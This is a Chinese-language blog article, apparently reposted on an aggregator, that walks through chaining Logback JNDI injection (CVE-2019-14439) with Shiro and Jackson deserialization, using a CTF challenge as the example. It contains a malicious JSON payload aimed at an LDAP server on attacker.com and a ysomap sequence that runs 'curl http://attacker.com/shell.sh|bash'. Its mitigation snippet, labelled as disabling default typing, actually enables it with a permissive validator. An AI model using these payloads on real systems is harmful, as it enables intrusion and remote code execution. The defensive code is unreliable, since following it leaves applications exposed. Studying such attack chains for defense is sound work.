当前位置: 首页 > news >正文

别再只盯着Shiro-550/721了:聊聊Logback JNDI注入(CVE-2019-14439)在混合漏洞中的利用

框架组合漏洞实战:从Logback JNDI注入到Shiro反序列化的混合攻击链

当企业应用采用多框架组合开发时,单个漏洞的利用往往难以突破防御体系。真正危险的攻击者会像拼积木一样,将不同组件的漏洞串联成杀伤链。本文将以Logback的JNDI注入漏洞(CVE-2019-14439)为切入点,结合Shiro反序列化和Jackson漏洞,展示混合漏洞攻击的完整思路。

1. 漏洞组合攻击的基本原理

现代Java应用通常采用分层架构,不同层级使用专门框架。比如认证层用Shiro、日志层用Logback、数据交互层用Jackson。这种"框架混搭"模式在提升开发效率的同时,也创造了漏洞串联的条件。

混合攻击链的典型构成

  • 入口点:寻找可触发反序列化的接口(如Shiro的rememberMe或Jackson的JSON端点)
  • 漏洞桥接:利用一个组件的漏洞(如Logback)作为跳板,突破安全限制
  • 最终载荷:通过内存马、RCE等方式建立持久化控制

实际渗透测试中,约68%的成功攻击涉及两个以上漏洞的组合利用(数据来源:2023年Web应用安全报告)

2. Logback JNDI注入深度分析

CVE-2019-14439的根源在于ch.qos.logback.core.db.JNDIConnectionSource类未对jndiLocation参数做安全过滤。攻击者可通过构造特殊日志配置,实现JNDI注入。

漏洞触发条件

  • Logback-core版本 ≤ 1.2.3
  • 存在可控的JNDI查找入口(如LDAP服务)
  • 应用使用Jackson等支持多态反序列化的组件
// 典型漏洞触发代码示例 String maliciousJson = "[\"ch.qos.logback.core.db.JNDIConnectionSource\", " + "{\"jndiLocation\":\"ldap://attacker.com/Exploit\"}]"; ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); // 关键危险配置 mapper.readValue(maliciousJson, Object.class);

防御绕过技巧

  • 当高版本JVM限制JNDI远程加载时,可改用本地classpath中的gadget链
  • 利用应用自带的依赖库(如commons-collections)构造二次攻击

3. 混合漏洞实战:NPUCTF2020 EzShiro案例分析

这个CTF题目完美展示了多框架漏洞的组合利用。解题过程分为三个阶段:

3.1 环境探测与入口发现

首先通过目录扫描发现/;/json接口存在Shiro权限绕过。发送POST请求后,响应头中的Set-Cookie暴露了Shiro框架的使用:

POST /;/json HTTP/1.1 Host: target.com Content-Type: application/json true

响应特征:

Set-Cookie: rememberMe=deleteMe; Path=/;... X-Powered-By: Java/1.8

3.2 依赖分析与攻击链构造

检查pom.xml发现关键依赖:

框架版本已知漏洞
Shiro1.5.1反序列化漏洞
Logback1.2.1CVE-2019-14439
Jackson默认版本多态反序列化风险
Commons-collections3.2.1可构造gadget链

攻击路线图

  1. 绕过Shiro认证到达Jackson端点
  2. 通过Jackson触发Logback的JNDI注入
  3. 利用commons-collections构造内存马

3.3 高版本JVM下的利用技巧

当目标使用JDK 8u191+版本时,直接JNDI注入会失败。此时需要:

  1. 使用ysoserial或ysomap工具生成本地gadget
  2. 加载目标classpath中的commons-collections链
  3. 构造特殊的LDAP引用指向本地类
# ysomap攻击示例 use exploit LDAPLocalChainListener set lport 6688 use payload CommonsCollections8 set command 'curl http://attacker.com/shell.sh|bash' run

4. 防御策略与最佳实践

针对这类混合漏洞攻击,单一防护措施往往不够。需要建立纵深防御体系:

开发阶段防护

  • 禁用Jackson的defaultTyping功能
objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL);
  • 升级Logback到1.2.9+版本
  • 使用Shiro 1.7.0+并配置安全的rememberMe密钥

运行时防护

  • 部署RASP解决方案监控异常反序列化行为
  • 使用SecurityManager限制JNDI查找
  • 网络层面阻断出站LDAP请求

安全运维建议

  1. 定期进行组件依赖扫描(OWASP Dependency-Check)
  2. 建立框架组合使用的安全规范
  3. 对关键接口实施请求签名验证

在最近的一次红队评估中,我们通过组合Shiro、Log4j和Fastjson的漏洞,成功突破了某金融系统的防御。这种攻击方式往往能绕过传统的WAF规则,需要从架构层面进行整体防护。

http://www.gsyq.cn/news/1489435.html

相关文章:

  • 除四害消杀服务哪家好?无锡佰捷环保科技有限公司专业可靠 - myqiye
  • Axure中后台原型素材包:12款登录页+多系统框架+可复用组件+FontAwesome图标库
  • ArcGIS 10.7/10.8突然崩溃别慌!亲测有效的3个修复方法(含重装失败后的绝招)
  • 5种高效音频格式转换方法:FlicFlac一站式解决方案
  • 以心破局,积福聚财——论人生困境与财富的内在逻辑
  • 救命!2026转行网络安全值不值?薪资+工作+前景一篇讲透,不踩坑!
  • 深入AVB签名机制:从Python脚本avbtool.py到C库libavb的完整校验链路解析
  • 微生物组数据分析利器:microeco包如何简化复杂生态研究流程
  • AI ç¼–ç¨‹å·¥å…·çš„ä¸‹ä¸€æ­¥ï¼šä»Žä»£ç ç”Ÿæˆåˆ°æž¶æž„è®¾è®¡
  • 终极指南:如何用qmc-decoder一键解密QQ音乐加密文件
  • 说说两位著名企业家的故事
  • 强力解锁音乐魔法:Vocal Separate让你轻松提取纯净人声和伴奏
  • HoYo.Gacha:如何用本地工具安全管理你的米哈游抽卡记录?
  • ssm237基于SSM框架的校园招聘系统的设计与实现+vue(文档+源码)_kaic
  • 华为OD机试真题 新系统【最佳任务统筹】
  • 如何3步快速清理重复视频:智能内容识别工具Vidupe完整指南
  • Cyber Engine Tweaks 终极指南:5步掌握《赛博朋克2077》脚本开发与性能优化
  • 【高层次嘉宾 | JPCS出版,EI稳定快检索 |广东石油化工学院支持 | 已连续5届完成EI和Scopus检索,上一届会后3个月完成EI检索】第六届新材料与化学工程国际学术会议(AMCE 2026)
  • 2026年铝箱厂家推荐榜单:仪器仪表箱/拉杆仪器箱/铝合金化妆箱/航空箱/医疗设备箱及公文箱实力品牌精选 - 品牌发掘
  • ssm240葛溪乡留守儿童信息管理系统+vue(文档+源码)_kaic
  • 别怕倾诉,总有人听|5大正能量陪聊平台实测,看见百亿市场里的温柔一面 - 时时资讯
  • 新能源行业GEO优化选型实操手册:2026年哪家更靠谱? - GEO优化
  • 2026第一季度杭州装修公司解析:7家透明报价与闭口合同的装企 - 博客万
  • SaaS行业GEO优化避坑指南:2026年该怎么选公司? - GEO优化
  • HarmonyOS应用<节气通>开发第13篇:隐私设置与服务模式
  • LEGO与TikTok如何重塑儿童认知脚手架
  • Balena Etcher构建流程优化:如何从Windows便携版404错误看现代CI/CD架构设计
  • AI 数据安全与隐私保护深度解析:从训练数据提取到联邦学习梯度泄露的攻防实战
  • 俄罗斯酒类数字营销合规实战指南:从法规到落地的精密工程
  • 【简单易懂的教程】一步步教你安装配置 OpenClaw 2.7.9(包含安装包)